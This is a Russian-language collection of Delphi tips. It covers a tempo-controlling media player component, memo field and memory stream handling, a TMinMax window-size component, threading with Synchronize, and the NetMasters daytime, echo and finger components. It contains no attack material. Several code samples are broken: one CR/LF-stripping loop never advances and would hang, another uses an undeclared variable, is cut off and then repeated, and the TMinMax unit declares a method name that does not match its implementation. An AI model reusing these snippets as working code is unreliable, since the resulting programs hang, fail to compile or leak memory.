FError := mciSendCommand(0, mci_Open, FFlags, Longint(@OpenParm));
if FError = 0 then
break;
FFlags := FFlags and not MCI_OPEN_ELEMENT;
end;
FError := mciSendCommand(0, mci_Open, FFlags, Longint(@OpenParm));
until true;
// последующий оригинальный участок кода
if FError <> 0 then {problem opening device}
raise EMCIDeviceError.Create(ErrorMessage)
|
Пример компонента типа TMediaPlayer с регулированием темпа звучания.
{ ****************************************************************** }
{ }
{ VCL component TDTNTMMPlayer }
{ }
{ This was developed by request!! }
{ }
{ }
{ Copyright ® 2001 by Jason White jason@dtnt.co.uk }
{ }
{ ****************************************************************** }
unit DTNTMMPlayer;
interface
uses WinTypes, WinProcs, Messages, SysUtils, Classes, Controls,
Forms, Graphics, Mplayer, mmsystem;
type
TDTNTMMPlayer = class(TMediaPlayer)
private
{ Private fields of TDTNTMMPlayer }
{ Pointer to application's OnChangeTempoError handler, if any }
FOnChangeTempoError : TNotifyEvent;
{ Pointer to application's OnTempoChanged handler, if any }
FOnTempoChanged : TNotifyEvent;
{ Private methods of TDTNTMMPlayer }
{ Method to set variable and property values and create objects }
procedure AutoInitialize;
{ Method to free any objects created by AutoInitialize }
procedure AutoDestroy;
protected
{ Protected fields of TDTNTMMPlayer }
{ Protected methods of TDTNTMMPlayer }
{ Method to generate OnChangeTempoError event }
procedure ChangeTempoError(Sender : TObject); virtual;
{ Method to generate OnTempoChanged event }
procedure TempoChanged(Sender : TObject); virtual;
procedure Loaded; override;
procedure Paint; override;
public
{ Public fields and properties of TDTNTMMPlayer }
{ Public methods of TDTNTMMPlayer }
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
{ SetsTempo }
procedure SetTempo( Value : Integer );
published
{ Published properties of TDTNTMMPlayer }
property OnChangeTempoError : TNotifyEvent read FOnChangeTempoError
write FOnChangeTempoError;
{ Tempo Changed Event }
property OnTempoChanged : TNotifyEvent read FOnTempoChanged
write FOnTempoChanged;
property OnClick;
property OnEnter;
property OnExit;
property OnNotify;
property OnPostClick;
property AutoEnable default True;
property AutoOpen default False;
property AutoRewind default True;
property ColoredButtons
default [btPlay, btPause, btStop, btNext, btPrev, btStep,
btBack, btRecord, btEject];
property DeviceType default dtAutoSelect;
property EnabledButtons
default [btPlay, btPause, btStop, btNext, btPrev, btStep,
btBack, btRecord, btEject];
property FileName;
property Shareable default False;
property Visible default True;
property VisibleButtons
default [btPlay, btPause, btStop, btNext, btPrev, btStep,
btBack, btRecord, btEject];
end;
procedure Register;
implementation
procedure Register;
begin
{ Register TDTNTMMPlayer with D-TNT as its
default page on the Delphi component palette }
RegisterComponents('D-TNT', [TDTNTMMPlayer]);
end;
{ Method to set variable and property values and create objects }
procedure TDTNTMMPlayer.AutoInitialize;
begin
AutoEnable := True;
AutoOpen := False;
AutoRewind := True;
ColoredButtons := [btPlay, btPause, btStop, btNext, btPrev, btStep,
btBack, btRecord, btEject];
DeviceType := dtAutoSelect;
EnabledButtons := [btPlay, btPause, btStop, btNext, btPrev, btStep,
btBack, btRecord, btEject];
Shareable := False;
Visible := True;
VisibleButtons := [btPlay, btPause, btStop, btNext, btPrev, btStep,
btBack, btRecord, btEject];
end; { of AutoInitialize }
{ Method to free any objects created by AutoInitialize }
procedure TDTNTMMPlayer.AutoDestroy;
begin
{ No objects from AutoInitialize to free }
end; { of AutoDestroy }
{ Method to generate OnChangeTempoError event }
procedure TDTNTMMPlayer.ChangeTempoError(Sender : TObject);
begin
{ Has the application assigned a method to the event, whether
via the Object Inspector or a run-time assignment? If so,
execute that method }
if Assigned(FOnChangeTempoError) then
FOnChangeTempoError(Sender);
end;
{ Method to generate OnTempoChanged event }
procedure TDTNTMMPlayer.TempoChanged(Sender : TObject);
begin
{ Has the application assigned a method to the event, whether
via the Object Inspector or a run-time assignment? If so,
execute that method }
if Assigned(FOnTempoChanged) then
FOnTempoChanged(Sender);
end;
constructor TDTNTMMPlayer.Create(AOwner: TComponent);
begin
{ Call the Create method of the parent class }
inherited Create(AOwner);
{ AutoInitialize sets the initial values of variables and }
{ properties; also, it creates objects for properties of }
{ standard Delphi object types (e.g., TFont, TTimer, }
{ TPicture) and for any variables marked as objects. }
{ AutoInitialize method is generated by Component Create. }
AutoInitialize;
{ Code to perform other tasks when the component is created }
end;
destructor TDTNTMMPlayer.Destroy;
begin
{ AutoDestroy, which is generated by Component Create, frees any }
{ objects created by AutoInitialize. }
AutoDestroy;
{ Here, free any other dynamic objects that the component methods }
{ created but have not yet freed. Also perform any other clean-up }
{ operations needed before the component is destroyed. }
{ Last, free the component by calling the Destroy method of the }
{ parent class. }
inherited Destroy;
end;
procedure TDTNTMMPlayer.Loaded;
begin
inherited Loaded;
{ Perform any component setup that depends on the property
values having been set }
end;
procedure TDTNTMMPlayer.Paint;
begin
{ Make this component look like its parent component by calling
its parent's Paint method. }
inherited Paint;
{ To change the appearance of the component, use the methods
supplied by the component's Canvas property (which is of
type TCanvas). For example, }
{ Canvas.Rectangle(0, 0, Width, Height); }
end;
{ SetsTempo }
procedure TDTNTMMPlayer.SetTempo( Value : Integer );
var
Flags: LongInt;
SeqParm: TMCI_Seq_Set_Parms;
begin
pause;
if DeviceType = dtSequencer then
begin
SeqParm.dwTempo := Value;
Flags := MCI_SEQ_SET_TEMPO;
mciSendCommand(DeviceID, MCI_SET, Flags, Longint(@SeqParm));
TempoChanged(self);
end
else
ChangeTempoError(self);
resume;
end;
end.
|
Обмен данными между TMemoField и TMemo.
procedure TMemoToTMemoField; begin TMemoField.Assign(TMemo.Lines); end; procedure TMemoFieldToTMemo; var aBlobStream: TBlobStream; begin aBlobStream := TBlobStream.Create(TMemoField, bmRead); TMemo.Lines.LoadFromStream(aBlobStream); aBlobStream.Free; end; |
Различия TMemoField.
Во-первых, если аргумент size у GetMem равен нулю, GetMem устанавливает указатель в nil (не отбрасывайте такой способ, но разумней самому установить его в nil). Также в отладчике вы могли бы проверять значение DataSize (или getTextLen) перед самим вызовом . (Проигнорируйте следующий параграф, если Table1Notes не Memo.) Во-вторых, если Table1Notes - Memo-поле, вы, вероятно, захотите использовать Table1Notes.getTextLen, не DataSize, поскольку DataSize возвращает размер сегмента буфера записи (0-254), тогда как getTextLen возвратит вам реальный размер Memo. (Для строкового поля DataSize работать будет, но очень странно, поскольку возвращает ноль.) Также вы можете воспользоваться getTextBuf вместо getData, не знаю точно почему, но мои многочисленные экспериметны показали, что getTextBuf работает правильно и устойчиво, а get Data нет.Поскольку "wordwrapping" (перенос слов) доступен в вашем приложении, вы можете заменить символы #10 (перевод строки) и #13 (возврат каретки) на пробелы, например так:
cursor: pchar;
...
cursor := ваш буфер;
while cursor^ <> #0 do
if (cursor^ = #13) or (cursor^ = #10) then
cursor^ := ' ';
|
Данный способ прост, поскольку нам нет нужды перемещать текст из переменной в переменную, хотя и не без недостатка, поскольку в конце каждой строки мы получаем два пробела, что может неправильно интерпретироваться при переносе строк. В качестве альтернати вы, вместо пробела вы можете применить другой служебный символ, который ваш текстовый процессор воспримет в качестве прерывания строки, или проигнорирует его (например, символ #8). Если вам нужно просто избавиться от символов перевода строки, воспользуйте сь двумя курсорами как показано ниже (извините, не тестировал):
out, in: pchar;
...
out := ваш буфер;
in := out;
while in^ <> #0 do
begin
if (in^ <> #10) and (in^ <> #13) then
begin
out^ := in^;
inc (out);
end;
inc (in);
end;
out^ := #0;
|
Если вместо этого вы хотите заменить каждую пару CR-LF или отдельный CR или LF единичным пробелом, попробуйте это:
out, inn: PChar;
...
out := ваш буфер;
inn := out;
while in^ <> #0 do
begin
if (in^ = #10) then
begin
end
else
if (in^ = #13) then
begin
if (in+1)^
|
Если вместо этого вы хотите заменить каждую пару CR-LF или отдельный CR или LF единичным пробелом, попробуйте это:
out, inn: PChar;
out := buf;
inn := out;
while inn^ <> #0 do begin
if (inn^ = #10) or ((inn^ = #13) and ((inn+1)^ <> #10)) then begin
out^ := ' ';
Inc(out);
end
else if (inn^ = #13) then
{ только CR, игнорируем }
else begin
out^ := inn^;
Inc(out);
end;
Inc(inn);
end;
out^ := #0;
{ буфер теперь закрыт }
|
Вот конечный код после учета всех мелочей! Например, нам, в конечном счете, нужно сообщить указателю о необходимости возвратиться к началу своей новой строки.
procedure TForm1.RemoveSpaces(var InBuf: PChar; Size: Word); var Input, OutPut, Orig: PChar; begin GetMem(Output, Size); input := Inbuf; Orig := Output; while input^ <> #0 do begin if (input^ <> #10) and (input^ <> #13) then begin output^ := input^; inc (output); end; inc (input); end; Output^ := #0; Output := Orig; InBuf := Output; end; |
Я все еще немало удивлен тому как работает GetData! Я все еще не хочу использовать TMemo! Если кто-то может решить эту проблему, я буду очень рад! Пока же я готовлю для вас материал, включающий новые процедуры печати! Наведем порядок в беспорядке! Я уже и мею реализацию вывода текста с любым шрифтом и в любой позиции, выраженной в дюймах, и это только начало! Но что я думаю действительно классно вышло, так это диманическая сетка! Вы можете создавать сетку с любым количеством строк и колонок. Назначьте текс т и ячейку, установите горизонтальное и вертикальное выравнивание, выберите стиль границы для каждой ячейки и изучите множество других способов манипулирования и печати сетки!
Загрузка TMemoField в Memo.
Procedure TMemoToTMemoField; begin TMemoField.Assign( TMemo.Lines ); end; Procedure TMemoFieldToTMemo; VAR aBlobStream : TBlobStream; begin aBlobStream := TBlobStream.Create(TMemoField, bmRead); TMemo.Lines.LoadFromStream( aBlobStream ); aBlobStream.Free; end; |
TMemoryStream.
Думайте о потоке памяти как о расположенном в памяти файле. Команды для работы с потоком очень похожи на команды для работы с файлами. (В действительности, это ближе к команде blockwrite.)Вот "медленный" путь записи строки в поток:
for i := 1 to Length(s) do memstream.Write(s[i], 1); |
Данный код пишет за один проход один символ строки. Просто и легко для понимания, но немного медленно в работе. Для ускорения процесса можно сделать так:
memstream.Write(s[1], Length(s)); |
Теперь, для соблюдения перевода каретки, вы должны добавлять эти спецсимволы сами:
memstream.Write(#13, 1); memstream.Write(#10, 1); |
Или вы можете использовать более изощренный метод:
procedure StreamWriteStr(var ms: TMemoryStream; s: string); begin ms.Write(s[1], Length(s)); end; procedure StreamWriteLnStr(var ms: TMemoryStream; s: string); begin StreamWriteStr(ms, s + #13#10); end; |
Также, вы можете создать собственный класс-потомок TMemoryStream, с методом записи строк.
Следование за мышкой в TMemo для установки позиции курсора.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
procedure TForm1.Memo1MouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); begin Memo1.SelStart := LoWord(SendMessage(Memo1.Handle, EM_CHARFROMPOS, 0, MakeLParam(X, Y))); Memo1.SelLength := 0; end;
Фильтровать все ссылки в TMemo.
| Сын к папе-интернетчику подходит: - Папа, а адрес пишется с одной "с", или с двумя? - С тремя w, сынок. |
// For this tip you need Memo1, ListBox1, Label1, Button1.
procedure TForm1.Button1Click(Sender: TObject);
var
i, p: Integer;
s: string;
begin
ListBox1.Clear;
for i := 0 to Memo1.Lines.Count - 1 do
begin
if Pos('http://', Memo1.Lines.Strings[i]) > 0 then
begin
s := '';
{If the current line contains a "http://", read on until a space is found
Die aktuelle Zeile wird nach der Zeichenfolge "http://" durchsucht
und bei Erfolg ab der gefundenen Position ausgelesen, bis ein
Leerzeichen auftritt...}
for p := Pos('http://', Memo1.Lines.Strings[i]) to
Length(Memo1.Lines.Strings[i]) do
if Memo1.Lines.Strings[i][p] <> ' ' then
s := s + Memo1.Lines.Strings[i][p]
else
break;
{Remove some characters if address doesn't end with a space
Falls die gefundene Adresse nicht mit einem Leerzeichen abschlie?t,
werden hier noch anhangende Textzeichen entfernt...}
while Pos(s[Length(s)], '..;!")]}?''>') > 0 do
Delete(s, Length(s), 1);
// Add the Address to the list...
//Gefundene Adresse in die Liste aufnehmen...
ListBox1.Items.Add(s);
end;
end;
// Show the number of Addresses in Label1
// Die Zahl der gefundenen Adressen in Label1 anzeigen...
if ListBox1.Items.Count > 0 then
label1.Caption := IntToStr(ListBox1.Items.Count) +
' Adresse(n) gefunden.'
else
label1.Caption := 'Keine Adresse gefunden.';
end;
|
TMetaFile - ошибка при работе с памятью.
| Компьютер - это устройство для упорядочивания, ускорения и автоматизации человеческих ошибок. |
Я долго экспериментировал и пришел к выводу, что все эти ошибки возникают в случае, когда map mode (режим карты) использует не mm_Text. Я трассировал ошибку в TMetafile.SaveToClipboardFormat. Программа неверно использует значение по умолчанию TMetafileImage.FInch = 0. Я думаю что TMetafileImage должен иметь значение по умолчанию FInch = Screen.PixelsPerInch или программа, которая сохраняет его в буфере обмена, должна правильно использовать FInch = 0 (т.е. сделайте значение mm_Text).
Компонент TMinMax.
Автор: Robert WittigКомпонент TMinMax может быть размещен на форме для управления ее сообщением WM_GETMINMAXINFO. Вы можете устанавливать максимально/минимальный размер рамки при изменении размера формы, максимальный размер и положение окна через соответствующие свойства. Поскольку компонент управляет событием WM_GETMINMAXINFO своего владельца, вы можете разместить его на необходимом количестве форм, и управлять соответствующей формой через ее собственное событие WM_GETMINMAXINFO.
{***************************************************************************** }
{ UMINMAX.PAS }
{ Автор }
{ Robert Wittig }
{ 76401,242 }
{ Данный модуль обеспечивает вас интерфейсом для управления сообщением WM_GETMINMAXINFO }
{ на основе компонента . C помощью этого компонента вы легко можете управлять }
{ минимальным и максимальным размером окна. Вы можете также управлять размером и }
{ положением максимально раскрытого окна. }
{ Данный модуль свободен в использовании. Вы можете без ограничений использовать его }
{ в некоммерческих приложениях. Вы можете использовать его в коммерческих приложениях, }
{ если данный код занимает менее 20% от всего кода приложения. Вы можете свободно }
{ копировать и распространять данный модуль с условием сохранения (по возможности) }
{ данной информации. }
{ Пожалуйста посылайте свои коментарии/предложения автору непосредственно в форум }
{ или по e-mail по адресу 76401,242. Автор не дает никаких гарантий по работе }
{ данного модуля. }
{ История модуля }
{ ------------ }
{ 03-05-96 Автор Robert Wittig (CompuServe ID 74601,242) }
{***************************************************************************** }
unit uMinMax;
interface
uses Classes, Controls, Forms, Messages, SysUtils, WinProcs, WinTypes;
type
TMinMax = class(TComponent)
private
OldWndProc: Pointer;
FInstance: Pointer;
MinMaxInfo: TMinMaxInfo;
FActive: Boolean;
protected
procedure Notification(aComponent: TComponent; Operation: TOperation);
override;
procedure ResetSubclass; virtual;
procedure Subclass; virtual;
procedure InitMinMaxInfo; virtual;
procedure MinMaxWndProc(var Message: TMessage); virtual;
function GetMinWidth: Integer; virtual;
function GetMinHeight: Integer; virtual;
function GetMaxWidth: Integer; virtual;
function GetMaxHeight: Integer; virtual;
function GetMaximizedX: Integer; virtual;
function GetMaximizedY: Integer; virtual;
function GetMaximizedWidth: Integer; virtual;
function GetMaximizedHeight: Integer; virtual;
function GetReset: Boolean; virtual;
procedure SetActive(Value: Boolean); virtual;
procedure SetMinWidth(Value: Integer); virtual;
procedure SetMinHeight(Value: Integer); virtual;
procedure SetMaxWidthWM_GETMINMAXINFO(Value: Integer); virtual;
procedure SetMaxHeight(Value: Integer); virtual;
procedure SetMaximizedX(Value: Integer); virtual;
procedure SetMaximizedY(Value: Integer); virtual;
procedure SetMaximizedWidth(Value: Integer); virtual;
procedure SetMaximizedHeight(Value: Integer); virtual;
procedure SetReset(Value: Boolean); virtual;
procedure SetNewSize; virtual;
public
destructor Destroy; override;
published
property Active: Boolean read FActive write SetActive;
property MinWidth: Integer read GetMinWidth write SetMinWidth;
property MinHeight: Integer read GetMinHeight write SetMinHeight;
property MaxWidth: Integer read GetMaxWidth write SetMaxWidth;
property MaxHeight: Integer read GetMaxHeight write SetMaxHeight;
property MaximizedX: Integer read GetMaximizedX write SetMaximizedX;
property MaximizedY: Integer read GetMaximizedY write SetMaximizedY;
property MaximizedWidth: Integer read GetMaximizedWidth write
SetMaximizedWidth;
property MaximizedHeight: Integer read GetMaximizedHeight write
SetMaximizedHeight;
{**************************** RCW 03-05-96 ************************}
{ Reset является псевдо-свойством. Если значение равно True, TMinMax сбрасывает }
{ свойства Min/Max и устанавливает значения по умолчанию. }
{**************************** RCW 03-05-96 ************************}
property Reset: Boolean read GetReset write SetReset;
end;
{********************************** RCW 03-05-96 ******************************}
{ Использование: Общая информация относительно WM_GETMINMAXINFO содержится }
{ в статьях WM_GETMINMAXINFO и TMINMAXINFO в файле справке }
{ по функциям API. Также, имейте в виду следующее: }
{ 1) При перемещении границ окна минимальные/максимальные }
{ размеры окна определяются свойствами MinWidth, MaxWidth,}
{ MinHeight и MaxHeight. }
{ 2) При максимизации окна максимальная высота и ширина }
{ окна определяются соответственно Min(MaxHeight, }
{ MaximizedHeight) и Min(MaxWidth,MaximizedWidth). Это }
{ функция Windows и не зависит от работы компонента. }
{ ( Примечание: возможно иметь окно, которое }
{ имеет рамку большего размера чем максимальный }
{ размер окна. ) }
{ 3) Будьте осторожными при установке MaximizedX и MaximizedY. }
{ Примечание: если вы установили это слишком маленьким }
{ или слишком большим, ни кнопка, ни заголовок (для двойного }
{ щелчка) видимыми не будут. Следовательно, вы не можете }
{ восстановить окно до нормального состояния через нормальный }
{ интерфейс Windows. }
{********************************** RCW 03-05-96 ******************************}
procedure Register;
implementation
procedure Register;
begin
RegisterComponents('Custom', [TMinMax]);
end;
destructor TMinMax.Destroy;
begin
if FInstance <> nil then
FreeObjectInstance(FInstance);
inherited Destroy;
end;
procedure TMinMax.Notification(aComponent: TComponent; Operation: TOperation);
begin
if aComponent = Self then
if Operation = opInsert then
Subclass
else if Operation = opRemove then
ResetSubclass;
inherited Notification(aComponent, Operation);
end;
procedure TMinMax.ResetSubclass;
begin
if (FInstance <> nil) and
(Owner <> nil) then
if IsWindow(TWinControl(Owner).Handle) then
SetWindowLong(TWinControl(Owner).Handle, GWL_WNDPROC,
LongInt(OldWndProc));
end;
procedure TMinMax.Subclass;
begin
if Owner is TWinControl then
with TWinControl(Owner) do
begin
if FInstance = nil then
FInstance := MakeObjectInstance(MinMaxWndProc);
OldWndProc := Pointer(GetWindowLong(Handle, GWL_WNDPROC));
SetWindowLong(Handle, GWL_WNDPROC, LongInt(FInstance));
InitMinMaxInfo;
end;
end;
procedure TMinMax.InitMinMaxInfo;
begin
with MinMaxInfo do
begin
if Owner is TForm then
with ptMaxPosition do
case TForm(Owner).BorderStyle of
bsSingle:
begin
X := -GetSystemMetrics(SM_CXBORDER);
Y := -GetSystemMetrics(SM_CYBORDER);
end;
bsSizeable:
begin
X := -GetSystemMetrics(SM_CXFRAME);
Y := -GetSystemMetrics(SM_CYFRAME);
end;
end;
with ptMaxSize do
begin
X := Screen.Width - 2 * ptMaxPosition.X;
Y := Screen.Height - 2 * ptMaxPosition.Y;
end;
ptMaxTrackSize := ptMaxSize;
end;
end;
procedure TMinMax.MinMaxWndProc(var Message: TMessage);
begin
Message.Result := CallWindowProc(TFarProc(OldWndProc),
TWinControl(Owner).Handle,
Message.Msg, Message.wParam, Message.lParam);
if FActive and (Message.Msg = WM_GETMINMAXINFO) then
PMinMaxInfo(Message.lParam)^ := MinMaxInfo;
end;
function TMinMax.GetMinWidth: Integer;
begin
Result := MinMaxInfo.ptMinTrackSize.X;
end;
function TMinMax.GetMinHeight: Integer;
begin
Result := MinMaxInfo.ptMinTrackSize.Y;
end;
function TMinMax.GetMaxWidth: Integer;
begin
Result := MinMaxInfo.ptMaxTrackSize.X;
end;
function TMinMax.GetMaxHeight: Integer;
begin
Result := MinMaxInfo.ptMaxTrackSize.Y;
end;
function TMinMax.GetMaximizedX: Integer;
begin
Result := MinMaxInfo.ptMaxPosition.X;
end;
function TMinMax.GetMaximizedY: Integer;
begin
Result := MinMaxInfo.ptMaxPosition.Y;
end;
function TMinMax.GetMaximizedWidth: Integer;
begin
Result := MinMaxInfo.ptMaxSize.X;
end;
function TMinMax.GetMaximizedHeight: Integer;
begin
Result := MinMaxInfo.ptMaxSize.Y;
end;
function TMinMax.GetReset: Boolean;
begin
Result := False;
end;
procedure TMinMax.SetActive(Value: Boolean);
begin
if Value <> FActive then
begin
FActive := Value;
SetNewSize;
end;
end;
procedure TMinMax.SetMinWidth(Value: Integer);
begin
if Value < 0 then
Value := 0;
if Value <> MinMaxInfo.ptMinTrackSize.X then
begin
MinMaxInfo.ptMinTrackSize.X := Value;
SetNewSize;
end;
end;
procedure TMinMax.SetMinHeight(Value: Integer);
begin
if Value < 0 then
Value := 0;
if Value <> MinMaxInfo.ptMinTrackSize.Y then
begin
MinMaxInfo.ptMinTrackSize.Y := Value;
SetNewSize;
end;
end;
procedure TMinMax.SetMaxWidth(Value: Integer);
begin
if Value < MinMaxInfo.ptMinTrackSize.X then
Value := MinMaxInfo.ptMinTrackSize.X;
if Value <> MinMaxInfo.ptMaxTrackSize.X then
begin
MinMaxInfo.ptMaxTrackSize.X := Value;
SetNewSize;
end;
end;
procedure TMinMax.SetMaxHeight(Value: Integer);
begin
if Value < MinMaxInfo.ptMinTrackSize.Y then
Value := MinMaxInfo.ptMinTrackSize.Y;
if Value <> MinMaxInfo.ptMaxTrackSize.Y then
begin
MinMaxInfo.ptMaxTrackSize.Y := Value;
SetNewSize;
end;
end;
procedure TMinMax.SetMaximizedX(Value: Integer);
begin
MinMaxInfo.ptMaxPosition.X := Value;
end;
procedure TMinMax.SetMaximizedY(Value: Integer);
begin
MinMaxInfo.ptMaxPosition.Y := Value;
end;
procedure TMinMax.SetMaximizedWidth(Value: Integer);
begin
MinMaxInfo.ptMaxSize.X := Value;
end;
procedure TMinMax.SetMaximizedHeight(Value: Integer);
begin
MinMaxInfo.ptMaxSize.Y := Value;
end;
procedure TMinMax.SetReset(Value: Boolean);
begin
if Value then
InitMinMaxInfo;
end;
procedure TMinMax.SetNewSize;
begin
if not FActive then
Exit;
{**************************** RCW 03-05-96 ******************************}
{ Если размер окна превышает допустимые пределы, производим необходимую коррекцию. }
{****************************** RCW 03-05-96 ****************************}
if FInstance = nil then
raise Exception.Create('Не могу управлять WM_GETMINMAXINFO, поскольку
Owner не TWinControl' )
else
with TWinControl(Owner), MinMaxInfo do
begin
if (ptMinTrackSize.X <> 0) or
(ptMaxTrackSize.X <> 0) then
if Width < ptMinTrackSize.X then
Width := ptMinTrackSize.X
else if Width > ptMaxTrackSize.X then
Width := ptMaxTrackSize.X;
if (ptMinTrackSize.Y <> 0) or
(ptMaxTrackSize.Y <> 0) then
if Height < ptMinTrackSize.Y then
Height := ptMinTrackSize.Y
else if Height > ptMaxTrackSize.Y then
Height := ptMaxTrackSize.Y;
end;
end;
end.
|
Компонент TMultiProperty.
Оформил: DeeCo
Автор: Рустам Кафаров.
Компонент TMultiProperty предназначен для создания мультиязычных и мультиинтерфейсных приложений. Особенность его состоит в том, что конечный пользователь создаваемого продукта сможет сам изменять внешний вид программы без изменения EXE-файла. С компонентом поставляется специальный редактор MultiEditor. Компонент вляется Shareware и поставляется только в спомпилированном виде. Активные тестеры будут поощраться скидками на продукт. Вопросы цены и вариантов доставки - на сайте автора. Более подробная информация там же.Описание.
Компонент TMultiProperty предназначен для создания многоязыковых и мультиинтерфейсных приложений. Он позволяет изменить свойства компонентов после компиляции проекта. Принцип его работы основан на записи перечня всех компонентов со всеми их свойствами в файл-слепок проекта и значений этих свойств в файл значений. Эту процедуру можно осуществить прямо в дизайн-тайме, а при необходимости и в ран-тайме. Файл значений представляет собой не что иное, как двоичный DFM файл, полученный при помощи последовательного вызова методов WriteComponent() объекта TWriter. Поэтому он может легко конвертироваться в текстовый формат и обратно. Для редактирования этого файла вместе с компонентом поставляется специальный редактор MultiEditor. С его помощью можно будет создавать новые файлы значений. Чтоб это можно было сделать в отсутствии самого приложения, используется файл-слепок. С его помощью пользователь сам легко сможет изменить текст в метке, или поменять положение кнопки, изменить шрифт и цвет колонки ДБ-грида и т.д. Для работы уже самого приложения нужен лишь файл значений, а файл-слепок необходим только для его создания. Таким образом, сам конечный пользователь, даже далекий от программирования, сможет изменять внешний вид приложения БЕЗ изменения EXE-файла. Преимуществами этого продукта перед его аналогами являются: Инструмент действует на уровне самого приложения, т.е. является его частью. Он не требует перекомпиляции или перезагрузки приложения. При этом он может управляться параметрами командной строки (временно отключаться/включаться, пересоздавать файлы, загружать файлы свойств). Компонент не сканирует исходные коды на наличие строковых констант. Таким образом, изменять можно все свойства (кроме бинарных) любых компонентов, в том числе и нестандартных, не визуальных, со сложными вложенными объектными свойствами. При этом есть возможность фильтровать компоненты по именам и классам на момент создания файла-слепка. Создание файлов значений, т.е. непосредственный перевод, может осуществляться непосредственно самим пользователем. При этом программистом могут накладывать ограничения на возможности пользователя редактировать те или иные значения свойств. Свойства или целые компоненты можно сделать невидимыми для пользователя или только для чтения. Формат файлов значений является стандартным форматом DFM-файлов, и может использоваться и другими программами. К тому же размер их достаточно мал. Следует учесть, что хоть размер файла-слепка сравнительно большой (достигает десятков мегабайт для достаточно большого приложения). Загрузка файла значений может происходить при инициализации приложения (свойство ValueFile читается из DFM, реестра, командной строки), либо в любой момент выполнения программы.Скачать компонент:
С домашней страницы автора: Скачать shareware версию компонента (67К) Скачать shareware версию редактора (291К)Как реализовать обработку информации одновременно несколькими потоками.
Автор: Садыков Алексей Николаевич Запускайте Delphi. Итак, наша программа будет представлять из себя форму с двумя еdit'ами и кнопкой. Добавьте их на форму. При нажатии на кнопку будут осуществляться некоторые долгие вычисления. Если бы мы не использовали потоки, то, пока эти вычисления не закончатся, делать мы ничего бы не смогли. Надо было бы ждать. Но, так как потоки у нас будут, то во время долгих вычислений можно будет что-нибудь вводить во второй edit (он, собственно, только для этого и существует). В первый же edit наш поток будет выводить некоторые промежуточные результаты своей работы. Добавьте в программу еще один модуль (меню File, New, Unit).Внесите в окно кода нового модуля следующий код:
unit Unit2;
interface
uses
Classes;
type
TMyThread = class(TThread) //Новый класс
private
answer: Integer;
protected
procedure ShowResult;
procedure Execute; override;
end;
implementation
uses
SysUtils, Unit1;
//Процедура для вывода информации из потока
procedure TMyThread.ShowResult;
begin
Form1.Edit1.Text := IntToStr(answer);
end;
//Длинная процедура
procedure TMyThread.Execute;
var
i: Integer;
begin
for i := 1 to 10000 do
begin
answer := answer + 1;
Synchronize(ShowResult);
end;
end;
end.
|
Synchronize(ShowResult);Тем самым наш поток что-то отправляет в основной поток программы (в данном случае, значение переменной answer). Делаем мы это посредством вызова Synchronize, в котором в качестве параметра указываем имя нужной процедуры. Теперь переходим к нашему основному модулю Unit1. Во-первых, добавьте в секцию uses ссылку на Unit2:
uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Unit2;
Во-вторых, напишите обработчик для нажатия кнопки:
procedure TForm1.Button1Click(Sender: TObject); var MyThread: TMyThread; begin MyThread := TMyThread.Create(False); end; |
Запускайте программу. Нажимайте на кнопку. В первом еdit'е замелькают промежуточные результаты работы второго потока. Во время его работы вы можете вводить информацию во второй edit — т.е. работа одного потока не мешает работе другого.
Компонент TNMDayTime.
| Пользователь технической поддержке: - Да что же это такое?!!! Всякий раз, когда я вам звоню, мой интернет отключается!!! |
Этот компонент предназначен для получения даты и времени от серверов даты и времени в интернет и интранет в соответствии со стандартом RFC 867, называемым "Протокол времени суток".
Если у вас в "подчинении" один домашний компьютер, то время на нём можно периодически подводить по своим часам - здесь точность не требуется, но если вы администратор малой или большой сети, если у вас есть многопользовательская программа, то для синхронизации времени на машинах нужно использовать некий механизм. Например, эту возможность, предоставляемую интернет.
В интернете используются 4 временных протокола. Протокол, используемый в TNMDayTime, достаточно простой и даёт время с погрешностью в 1секунду. Этому протоколу требуется наличие 32-битного стека протоколов TCP/IP (библиотеки WSOCK32.DLL), поставляемой с операционными системами Windows 95/98/NT. За протоколом даты/времени закреплён порт 13.
Перед тем как использовать этот компонент, вы должны знать имя или IP-адрес соответствующего сервера Интернет и присвоить это значение свойству Host, в которое помещается имя сервера или разделённый точками IP-адрес. После того как вы сделали это и установили соединение, вам остаётся считать полученное значение из свойства DayTimeStr.
Пример:
procedure TForm1.Button1Click(Sender: TObject); begin NMDayTime1.ReportLevel:=Status_Basic; NMDayTime1.TimeOut:=30000; NMDayTime1.Host:=Edit1.Text; NMDayTime1.Port:=StrToInt(Edit2.Text); Label3.Caption:=NMDayTime1.DayTimeStr; end; |
Компонент TNMEcho.
| Гуляя по лесу, программист набрел на пещеру. - А! - крикнул он. - А!... А!... А!... - ответило эхо. - Эхо!- позвал он. - Echo is ON,- ответило эхо. |
Компонент применяется для отсылки текстовых сообщений на эхо-сервер и получения этого сообщения обратно в соответствии со стандартом RFC 862.
Этот компонент обычно применяется для тестирования и настройки сети., поскольку мы можем оценить время ответа сервера, которое помещается в свойство ElapsedTime. Это единственное собственное свойство компонента, остальные наследуются.
Перед отправкой сообщения должно быть установлено соединение с сервером. Для этого нужно задать имя сервера или его адрес в свойстве Host, а в свойстве Port определить соответствующий порт [обычно серверы эхо слушают 7-ой порт]. После этого нужно вызвать метод Connect. Для отправки сообщения нужно использовать метод Echo. В случае успеха вы должны получить от сервера ту строку, которую вы передали в качестве параметра методу Echo. После этого для завершения связи вы должны вызвать метод Disconnect. Все методы, кроме Echo, компонент наследует.
Пример:
// Подключиться NMEcho1.Host:=Edit1.Text; NMEcho1.Connect; // Отключиться NMEcho1.Disconnect; // Отправить Memo1.Lines.Add(NMEcho1.Echo(Edit2.Text) + 'время [' + FloatToStr(NMEcho1.ElapsedTime) + ']'); // Прекратить NMEcho1.Abort; |
Компонент TNMFinger.
| Коннектится человек к серваку на 28800. Login: .... Passwrd: ****** А серв ему выдает: "Ваш пароль наполовину правильный. Connect 14400". |
Данный компонент применяется для получения информации о пользователе от сервера Finger, используя протокол, описанный в стандарте RFC 1288.
